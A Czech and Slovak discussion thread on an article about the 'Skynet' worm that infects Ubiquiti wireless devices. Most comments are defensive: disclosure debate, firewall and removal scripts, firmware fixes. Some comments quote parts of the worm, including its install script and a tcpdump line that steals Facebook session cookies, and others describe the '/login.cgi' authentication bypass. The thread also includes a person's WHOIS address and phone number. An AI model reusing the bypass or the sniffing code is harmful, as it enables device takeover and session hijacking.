Názory k článku Virus v bezdrátových routerech - Skynet

Děkuji za více než užitečnou informaci - opět ukázka jedné hyper super klikací obezličky, který v téhle podobě podle mě nemá na žádném zařízení co dělat.

Nicméně zveřejněním postupu manuální instalace viru byla de-facto zveřejněna informace o zranitelné cestě přímo v článku. Nešlo napsat alespoň "najděte si cestu v archivu" nebo něco podobného? Docela mě děsí až si nějaké kiddie dá dvě a dvě dohromady a začne instalovat bez konzole :-(

Tomáš

Najprv som myslel ze 'Skynet, tak to bude nejaky PR clanok' takze som len tak zaskroloval dole a az po precitani tohoto nazoru zistujem ze... ehm zaujimave, dakujem za typ :)

Pokud vývojáři zmíněného SW o chybě už vědí, nevidím v tom, že se jede na full disclosure, problém.

Nicméně způsob odstraňování v článku je nešťastný, protože nectí zásadu „jednou rootem, navždy rootem“. Může se tedy stát, že útočník bude mít k systému přístup pořád. Pomohla by jen úplná reinstalace.

UBNT zariadenia bezia na read-only filesysteme (neda sa remountovat na read/write). Virus sa uklada iba do oblasti kde je konfiguracia, do adresra ktory je urceny pre uzivatelske skripty. Reset konfiguracie na likvidaciu staci. Ak ovsem utocnik neflashne medzicasom do zaiadenia svoj zmeneny firmware. V kazdom pripade reflash firmware a vymazanie konfiguracie (aspon adresarov kde sa virus uklada) bude 100% v pohode. Do read-only filesystemu (squashfs) je principialne dost velky problem nieco zapisat.

Horsie je to ze diera je zverejnena a ze dostat sa do cudzieho zariadenia je trivialne.

K clanku by som opdotkol len tolko ze navrhovane opravy (doplnenie airos.deny) nie su ucinne (treba zakazat vsetky vynimky, potom ale uz nejde web rozhranie vobec). Bud si treba vypnut web rozhranie uplbne alebo neexistuje (bez rekompilacie firmware a modulu mod_airos) ziadna oprava alebo uprava ktora by to riesila.

Kym je v airos.allow napisane "/login.cgi", je mozne pridanim tohto stringu do URL vyvolat zelane (chybove) spravanie. A v momente odstranenia "/login.cgi" z airos.allow (alebo po jeho pridani do airos.deny) uz sice chyba nie je pritomna, ale do weboveho rozhrania sa viac neda prihlasit.

Rekompilaciou sa da odstranit admin.cgi co moze trochu pomoct, ale fakt len trochu. Bez opravy mod_airos (parsovania URL) sa (imho) neda odstranit stav, ze bez hesla sa da citat (a menit) konfiguracia zariadenia.

Ste mi tym clankom pekne posrali vianoce, smradi. Co oci nevidia, to srdce neboli...

Ad 2 - to je cesta do pekla. Obyčejný uživatel by to vnímal tak, že musí do PC instalovat "ovladače pro tu krabičku". A bez nich že to ani nezkonfiguruje. Pak by se začala řešit kompatibilita s různými OS a po nějaké době by tu byli nešťastní uživatelé, kterým "ty ovladače" nějak nefungují a skupina IT profesionálů, kteří si budou ťukat na hlavu proč vůbec někoho napadlo dělat standardní konfiguraci !routeru! jako samostatnou aplikaci, navíc když je tu zažitý postup - konfigurace přes web. Za pár měsíců by si už málokdo vzpomněl, že to celé začalo jen tím, že autoři neuměli napsat bezpěčný webový interface.

Jinak já osobně webové rozhraní preferuji. Jsem na něj zvyklý u routerů, u HW print serverů, tiskáren, IP kamer, vlastně snad všech těch krabiček. Jsou jich tu kolem desítky (možná i lehce přes stovečku) a já se nemusím nazpaměť učit jak se která konfiguruje. Ověřit stav tiskárny nebo routeru zvládnu z jakéhokoliv PC s prohlížečem ať už na něm běží OS jaký chce. Jediné co musím vědět je IP adresa, zbytek je intuitivní nebo "až to uvidím, tak si vzpomenu".

hm, poznas mikrotik a ich winbox?

Mikrotik je taky trochu jiny level než pro usera co si přinese domu router a jediny co s nim udělá je zastrčí kabel do WAN a možná nějaký do LAN

http://www.ip-adress.com/ip_tracer/178.216.144.75

Aspoň přibližně..

Už jste to oznámil PČR? Tohle není sranda - tohle je narušení veřejné telekomunikační sítě a za se chodí sedět.

Bejvavalo;) A kdyztak to neni telekomunikacni sit, ale telekomunikacni zarizeni pripadne verejne prospesne zarizeni.
To by nekdo musel prekopnout nejakou preshranicni optiku nebo spoj Praha-Brno. Pro dotycneho by byl vetsi trest nahrada skody nez se hezky valet a nic nedelat.

Z verejne otevreneho portu by se mohl vykroutit a bylo by treba dokazat mu umysl. Coz neni tak jednoduche. Navic nekdo mohl sice vir udelat, ale nekdo jiny ho mohl vypustit.

Nemyslete si ze nekoho vytrhne par blbych lokalnich poskytovatelu. Tady se kope jen za velke hrace jako O2 nebo CRa. Je to smutne ale to je bohuzel realny stav v CR. Dotycny si musi spocitat zda-li se mu vyplati jit do sporu s CTU a mafii jmenem ceska justice.

Ja na zaklade vyse zmineneho paragrafu o "poskozeni a ohrozeni obecne prospesneho zarizeni" stravil noc na Pankraci (kde jsem byl mlacen teleskopem pres hlavu za vykriku "tady mate tu vasi demokracii" apod.) a nasledne sel malem sedet - za utrzeny sluchatko telefonniho automatu, co mi sezral dvacetikorunu. Takze zase pozor.

Myslim, ze to je celkem zrejme. Navic root napomaha potencialnim utocnikum pomoci posledniho odstavce clanku.

§ 132 Obecně prospěšné zařízení
Obecně prospěšným zařízením se rozumí veřejné ochranné zařízení proti požáru, povodni nebo jiné živelní pohromě, obranné nebo ochranné zařízení proti leteckým a jiným podobným útokům nebo jejich následkům, ochranné zařízení proti úniku znečišťujících látek, zařízení energetické nebo vodárenské, podmořský kabel nebo podmořské potrubí, zařízení a sítě elektronických komunikací a koncová telekomunikační a rádiová zařízení, zařízení držitele poštovní licence, zařízení pro veřejnou dopravu, včetně součástí dráhy a drážních vozidel ve veřejné drážní dopravě a svislých zákazových nebo příkazových dopravních značek a dopravních značek upravujících přednost.

Definice, skutková podstata a sankce:

(1) Kdo úmyslně poškodí obecně prospěšné zařízení nebo ohrozí jeho provoz nebo využívání, bude potrestán odnětím svobody až na tři léta nebo zákazem činnosti.

(2) Odnětím svobody na jeden rok až šest let nebo peněžitým trestem bude pachatel potrestán,
a) zničí-li, odstraní-li nebo učiní-li neupotřebitelným obecně prospěšné zařízení,
b) způsobí-li činem uvedeným v odstavci 1 poruchu provozu obecně prospěšného zařízení, nebo
c) způsobí-li takovým činem značnou škodu.

(3) Odnětím svobody na dvě léta až osm let bude pachatel potrestán,
a) způsobí-li činem uvedeným v odstavci 1 nebo 2 písm. a) škodu velkého rozsahu, nebo
b) spáchá-li takový čin za stavu ohrožení státu nebo za válečného stavu.

Na konci tohoto článku http://www.zive.cz/clanky/prolomili-jsme-se-do-cizi-wi-fi-site-video/sc-3-a-161340/default.aspx je pár zajímavých paragrafů, vhodných pro trestní stíhání

S prominutím, předem se omlouvám za následující slova:
Jen blb nechává Webové rozhraní routeru otevřené pánu Bohu do oken a komunikuje s ním přes port 80.
Případně jen blb používá jako provider zařízení, které cokoliv takového vyžaduje.

U běžného domácího uživatele se nedivím, u firmy, která poskytuje služby jsem šokován. Přímo si o takový "crack" říkáte...

Nema zakaznik pak svoji verejnou IP ve sve siti a ne na nanostationu? Jaktoze nemate separatni management sit s neverejnym rozsahem?
Kdyz uz mate takovou konfiguraci tak jaktoze nemate webserver bindnuty jen na adresu ve vasem neverejnem rozsahu?

I pres komentare nize nemohu nez souhlasit. Nechat takhle otevreny port do sveta kdyz denne vas scannuji hromady skriptu je krajne nezodpovedne. Casovana bomba ktera prave vybouchla. V siti kterou ve svem volnem case udrzuji mame treba specialni rozsah pro management. Clenove sdruzeni jsou od management site jeste oddeleni VLANy. A to nejsme komercni ISP.

Pocujte a nestacilo by do airos.deny = pridat ".cgi/" ????

prosim otestovat , ja budem mat testovaci hw k dispozicii az vecer

http://www.orso.sk/nanostationm5/XM.v5.3.3.sdk.9634.111219.1130.bin

nestacilo....

Zmíněná veřejná IP je registrována na tohoto poskytovatele http://www.cninet.cz/ . Nezkoušel ho už někdo kontaktovat, aby ji například zablokoval? Právě ted je stále dostupná ...

Vlastnika jsem kontaktoval uvidime co odpovi

To jsem celkem zvědav ... napíšu mu asi taky ...

Toto je skoro na trestní oznámení, vzhledem k povaze dat, která virus sbírá a odesílá. Máme tím napadenu sít a zrovna zkoumáme jak moc, přesto , že nemáme zařízení dostupná z veřejného internetu, někdo to musel dovnitř zavléct ... :/

kontaktoval jsem ho telefonicky behem uz po obede. adresu jsme dohledali na nejake zarizeni (tusim, ze take ubnt), na ktere se aktualne neda dostat -> pravdepodobne jej autor jen zneuzil k dalsimu sireni.

pristup na tuto adresu poskytovatel okamzite zablokoval

kolega asi hodinku daval uvedeny script do pouzitelnej podoby. zatial to funguje len proti skynetu. rovnako dobre proti nemu vsak funguje aj zmena http portu.

Tak se odkaz na tento článek objevil na ofic. foru ubnt a právě ted celé vlákno o 6 stranách zmizelo .... :D

apelujem na prevadzkovatela servera root.cz aby uvedeny clanok okamzite zmazal.
propagacia uvedenej bezpecnostnej diery moze sposobit poskytovatelom internetu nedozierne skody, kedze vyuzitim tejto diery je mozne zariadenia nenavratne poskodit.

fix na skynet je proste zmena portu webservera na iny ako 80.
vacsi problem ako hrackarsky virus skynet je bezpecnostna diera ktoru vyuziva, a ktoru je mozne vyuzit na nenavratne poskodenie zariadeni!

To je ale blbost. Ten virus uz se siri, takze lidi musi vedet, jak se proti nemu branit. A i kdybys to ted smazal tak uz je stejne pozde, protoze to je v Google cache a hodne lidi to stejne cetlo.

1. Nespadate to jurisdikce CR
2. Sirite poplasnou zpravu coz je podle naseho i vaseho zakoniku trestne
3. Neoznameni trestneho cinu je trestne podle naseho i vaseho zakoniku
4. Pokud se cela vec zataji, tak prave ze vzniknou nedozirne skody. V minulosti muzete najit dost takovych prikladu.

aj tak si myslim, ze by tento clanok mal byt zmazany az do doby ked UBNT vyda na to patch.
momentalne neexistuje jednoduchy fix na tuto bezpecnostnu dieru, kedze cez webrozhranie UBNT zariadeni sa neda vypnut webserver, zariadenia UBNT nepodporuju filtering cez iptables.
zatial ako pouzitelne riesenie sa nam javi zmena kofiguracneho suboru webservera do takej podoby aby sa po restarte nespustil, este to musime vsak otestovat.

V clanku jako takovem problem neni nejvetsi riziko je v poslednim odstavci pro "experimentatory", kdy si nejaky vseumel muze stahnout samotny virus v taru a ma tam i prehledny navod jak jej nainstalovat. Takze timhle zpusobem nejspis nekdo mohl nakazil klfree zevnitr. Doporucoval bych ROOTu odkaz na tento soubor z clanku odstranit, aby jej kterakoli lama nemohla jednoduse rozsirit do dalsich "uzavrenych" zatim neinfikovanych siti!

tak nakoniec to co som pisal o iptables je hlupost, zariadenia sa daju jednoducho zabezpecit pomocou iptables/ebtables. odporucam to kazdemu kto pouziva UBNT zariadenia

Ja nemam slov.
To su ale curaci, v tom UBNT. Da sa im vediet dva tyzdne doperdu. Neriesia to a ked sa to prevali, tak vymazu oficialne vlakno suport UBNT stranky. No comment !

rad by som prispel do diskusie realnym riesenim.
pomocou UBNT AirControl je mozne nasledovny script spustit hromadne na viacerych zariadeniach:

#verzia pre bridge-mode
ebtables -A INPUT -p IPv4 --ip-src management.ip­.adresa --ip-protocol tcp --ip-destination-port 80 -j ACCEPT
ebtables -A INPUT -p IPv4 --ip-protocol tcp --ip-destination-port 80 -j DROP
echo "ebtables -A INPUT -p IPv4 --ip-src management.ip­.adresa --ip-protocol tcp --ip-destination-port 80 -j ACCEPT" >> /etc/persisten­t/rc.poststart
echo "ebtables -A INPUT -p IPv4 --ip-protocol tcp --ip-destination-port 80 -j DROP" >> /etc/persisten­t/rc.poststart
chmod +x /etc/persisten­t/rc.poststart
cfgmtd -w -p /etc/


#verzia pre router mode
iptables -A INPUT -p tcp -s management.ip­.adersa --dport 80 -j ACCEPT
iptables -A INPUT -p tcp --dport 80 -j DROP
echo "iptables -A INPUT -p tcp -s management.ip­.adresa --dport 80 -j ACCEPT" >> /etc/persisten­t/rc.poststart
echo "iptables -A INPUT -p tcp --dport 80 -j DROP" >> /etc/persisten­t/rc.poststart
chmod +x /etc/persisten­t/rc.poststart
cfgmtd -w -p /etc/

Tech vyjmenovanych trestnych cinu je tam pomerne dost.
Osobni informace jsou v tom zakone ale take. Ale zalezi uz jen na pravnicich jestli na to dokazi napasovat "projevy osobni povahy"
Dale bych se zameril na telekomunikacni tajemstvi,

Tak to vypadá že autor je fanda Terminátora. Tam skynet ovládl svět a ničil lidstvo. :-)
Jinak doufám že soudruzi v UBNT brzo vydají záplatu.

A sakra, to mi uniklo. Já jsem si říkal, že už jsem ten obrázek, co byl u článku, někde viděl... :-)

Kontaktovali jsme ISP kteremu patří IP ve scriptu a ten jí zablokobal. Už by se na ní nemělo jít vůbec dostat. S největší pravděpodobností jde ale také o někým napadené zařízení, které je zneužito jako prostředník.

Idealni by bylo dostat se primo k danemu zarizeni a zjistit co dela script drobe.cgi. Tam by mohlo byt pojitko na tvurce. Otazka je jestli tam nedal nejake samodestrukcni ochrany a na danem zarizeni uz treba nic neni. No to uz je prace asi pro policii, ktera ma ale jine starosti takze ....

inetnum: 178.216.144.0 - 178.216.151.255
netname: CNINET-NETWORK
descr: Pavel Scepka, CNI-NET network
country: CZ
org: ORG-CNIN1-RIPE
admin-c: PASC2-RIPE
tech-c: PASC2-RIPE
status: ASSIGNED PI
mnt-by: RIPE-NCC-END-MNT
mnt-by: CNINET-MNT
mnt-lower: RIPE-NCC-END-MNT
mnt-routes: CNINET-MNT
mnt-domains: CNINET-MNT
source: RIPE #Filtered

organisation: ORG-CNIN1-RIPE
org-name: Pavel Scepka
org-type: OTHER
address: Halasova 5015/9, 586 01 Jihlava, Czech Republic
e-mail: info@cninet.cz
mnt-ref: CNINET-MNT
mnt-by: CNINET-MNT
source: RIPE #Filtered

person: Pavel Scepka
address: 5015/9, 586 01 Jihlava, Czech Republic
phone: +420776828000
nic-hdl: PASC2-RIPE
mnt-by: CNINET-MNT
source: RIPE #Filtered

route: 178.216.144.0/21
descr: CNINET
origin: AS43542
mnt-by: CNINET-MNT
mnt-by: MNT-OPTONET
source: RIPE #Filtered

inetnum: 0.0.0.0 - 255.255.255.255
netname: IANA-BLK
descr: The whole IPv4 address space
country: EU #Country is really world wide
org: ORG-TT1-TEST
admin-c: AA1-TEST
tech-c: AA2-TEST
status: ALLOCATED UNSPECIFIED
remarks: The country is really worldwide.
mnt-by: TEST-ROOT-MNT
mnt-lower: TEST-DBM-MNT
mnt-routes: TEST-DBM-MNT
remarks: This is an automatically created object.
source: TEST #Filtered

organisation: ORG-TT1-TEST
org-name: ORG TEST
org-type: RIR
address: Somewhere in nowhere
phone: +12 34 567 8900
fax-no: +12 34 567 8900
admin-c: AA1-TEST
tech-c: AA2-TEST
mnt-ref: TEST-DBM-MNT
mnt-by: TEST-ROOT-MNT
remarks: This is an automatically created object.
source: TEST #Filtered

role: TEST ROLE
nic-hdl: AA2-TEST
address: Somewhere in nowhere
phone: +12 34 567 8900
fax-no: +12 34 567 8900
abuse-mailbox: bitbucket@ripe.net
admin-c: AA1-TEST
tech-c: AA2-TEST
mnt-by: TEST-ROOT-MNT
remarks: This is an automatically created object.
source: TEST #Filtered

person: Test Person
mnt-by: TEST-ROOT-MNT
address: Somewhere in nowhere
phone: +12 34 5678900
fax-no: +12 34 5678900
nic-hdl: AA1-TEST
remarks: This is an automatically created object.
source: TEST #Filtered

Skript uvedeny v clanku mi nefunguje. Takto sem odviroval zarizeni ja:

cd /etc/persistent
rm rc.poststart
rm -rf .skynet
echo "echo 'airos.deny += (\"/admin.cgi/­.gif\")' >> /etc/lighttpd.conf" > /etc/persisten­t/rc.poststart
echo 'kill -9 `ps | grep "lighttpd -D" | cut -d" " -f 3`' >> /etc/persisten­t/rc.poststart
chmod +x /etc/persisten­t/rc.poststart
cfgmtd -w -p /etc/
reboot

U nas v siti to postihlo zarizeni na verejkach, nic nenasvedcuje tomu, ze by se vir siril dal v siti za NATem. Dnes v 12:55 se mi velke mnozstvi zavirovanych UBNT kouslo.

Dobrý článek, tím, že jste to podrobně rozepsali i s návodem jak to někam dostat, jste si u mě šplhli, budu sem chodit častějc....jen tak dál

Dobře vám tak. To máte za to že používáte levnej čínskej aušus...

Autor tohoto prispevku zjavnie tiez nieje zrovna Enterprise.. Ked sa tesi z nestastia inych. Ospravedlnte ma tak ale nie ste vy EGOISTA?

není UBNT náhodou americká firma? :)

Nejsme asi tak moc entrprajs abychom si mohli dovolit Cisco z ciny;)

Tím Ciscem z Číny myslíte MAIPU?

Ne. Tim myslim ten hardware co si necha Cisco v cine vyrabet. Takovym cinskym Ciscem je spis Huawei. Jinak cinani uz prestavaji kopirovat a zacinaji vyvijet.

asi to tu nikde nie je spomenute, chyba sa vyskytuje od fw 3.6.1
(dovtedy bol ako webserver pouzity boa)

Neviem ako prebieha vas test ja osobne som neskusal vlozit tento vir do mojho zariadenia ale len namatkovo som testoval ci existuje admin.cgi teda nie admin.cfg ako ho uvadzate vy. Z toho sa domnievam ze hladate admin.cfg ktory tam zjavne ani nikdy nebol a nebude. Alebo sa v tomto vasom pripade jedna len o preklep.

UBNT před chvílí uvolnilo nový firmware 5.3.5 (zatím bez release note), který podle našich testů řeší bezpečnostní chybu zneužívanou virem skynet (blokuje stránku admin.cgi).

http://ubnt.com/forum/showthread.php?t=45169

Asi to vyřešili pořádně: neblokují pouze admin.cgi, ale i ostatní sktipty.

Takto je to web rozhrani dost nepouzitelne nejen pro skynet, ale i pro bezneho spravce. Snad brzy vyjde 5.3.7 s trochu sofistikovanejsi opravou :-(

Mne se stalo asi to co tobe, kdyz jsem to nahral na ubnt bez smazaneho viru, tak webove rozhrani se zobrazovalo hodne podivne(bez obrazku a bez css). Kdyz se smaze, tak to rozhrani funguje normalne.

tcpdump -A -s 0 -w - -l "tcp dst port 80" | grep "^Cookie: " | grep "xs=" >/etc/persisten­t/.skynet/tt &

Jedna se o session cookie facebooku, ucelem byl nejspis fb spam/malware. Nutno poznamenat ze tcpdump se zdaleka nevyskytuje na vsech airos takze uspesnost neni uplne jista.

Muzete to nekdo rozvest? Jedna se urcite jenom o Facebook? Pocitam tedy, ze nejde o vykradani hesel, ale jenom o moznost zneuziti aktualne otevrene session? Jinak jsem v kodu uz nic dalsiho nevidel. Zbytek je jenom mechanizmus na samosireni se.

Ahoj. Nějak jsem nepochopil, jak se to šíří. Je to jen mezi zařízeními nebo v tom hraje i roli uzivatelovo "zavirovane" pc?

Jsem si rikal, ze je divne, ze vam na mail 14 dni nereagovali. Kdyz jsem jim vcera psal reakce byla velmi rychla - odepsali behem 1-2 hodin s tim ze na problemu uz pracuji ale nechteji prehnanou publicitu.

Edmuntas tvrdil, ze to spam/virus filter odfiltroval a k mailu sa nedostali.

Dobrý den, znamená to, že se máme už tyto Vánoce připravit na nukleární apokalypsu?

Dobry den,
clanek je velmi zajimavy. Mam sice doma pouze Wifi router DLink, ale radeji jsem zkusil test na virus z clanku:


Jak zjistit, že mám zavirované zařízení
zkuste se přihlásit do vašeho zařízení a zobrazit stránku http://ip.ad.re.sa/admin.cgi – pokud stránka neexistuje, máte tam Skynet


Zkusil jsem tady zadat do browseru "http://ip.ad­.re.sa/admin.cgi" a ke sve hruze jsem zjistil, ze stranka skutecne neexistuje (klasicky HTTP error 404) a tady mam dany virus na tom svem routeru!

Bohuzel postup na odstraneni viru je napsan na uplne jine zarizeni, jak mam tedy ted postupovat?
Mam cekat na novy firmware od firmy Dlink?

Postupujte jednoznacne tak, ze si clanek prectete znovu a poradne :)

Na D-LINKU to tenhle vir nebude - on je specifický pro zařízení UBNT a jen pro verze s určitou bezp.dírou, ale neklesejte na mysli, v D-LINKu bude třeba zase něco jiného ;)

BTW: je to s tím přejmenováním admin.cgi pravda? v install skriptu viru je toto:

cd /etc/persisten­t/.skynet
mv /etc/persisten­t/skynet.tgz .
mv rc.poststart /etc/persistent
ln -s /usr/www/* ./
mv admin.cgi adm.cgi
mv admina.cgi admina2.cgi
cfgmtd -w -p /etc/
reboot

tj. udělá v adresáři .skynet symlinky CGI skritů, dva z nich přejmenuje a řádek před rebootem to uloží do persistentní paměti.
Ale nejsem si jist jestli to pak nějak po rebootu ovlivní výsledné verze CGI skritů v /usr/www - nemáte v tom někdo jasno?

Dira jako hovado, za to by zaslouzili povesit za usi!
Navic na oficialnim diskuznim foru smazali vlakno o skynetu, coz je dobre i spatne, protoze si nikdo nezkontroluje, jestli je napadnutelnej

co jiného dodat než .. download > modifikovat > publikovat dal :D

zlatej ♂♂

Jak zjistit, že mám zavirované zařízení
zkuste se přihlásit do vašeho zařízení a zobrazit stránku http://ip.ad.re.sa/admin.cgi
Tím je myšleno zadat tu adresu do webováho prohlížeče?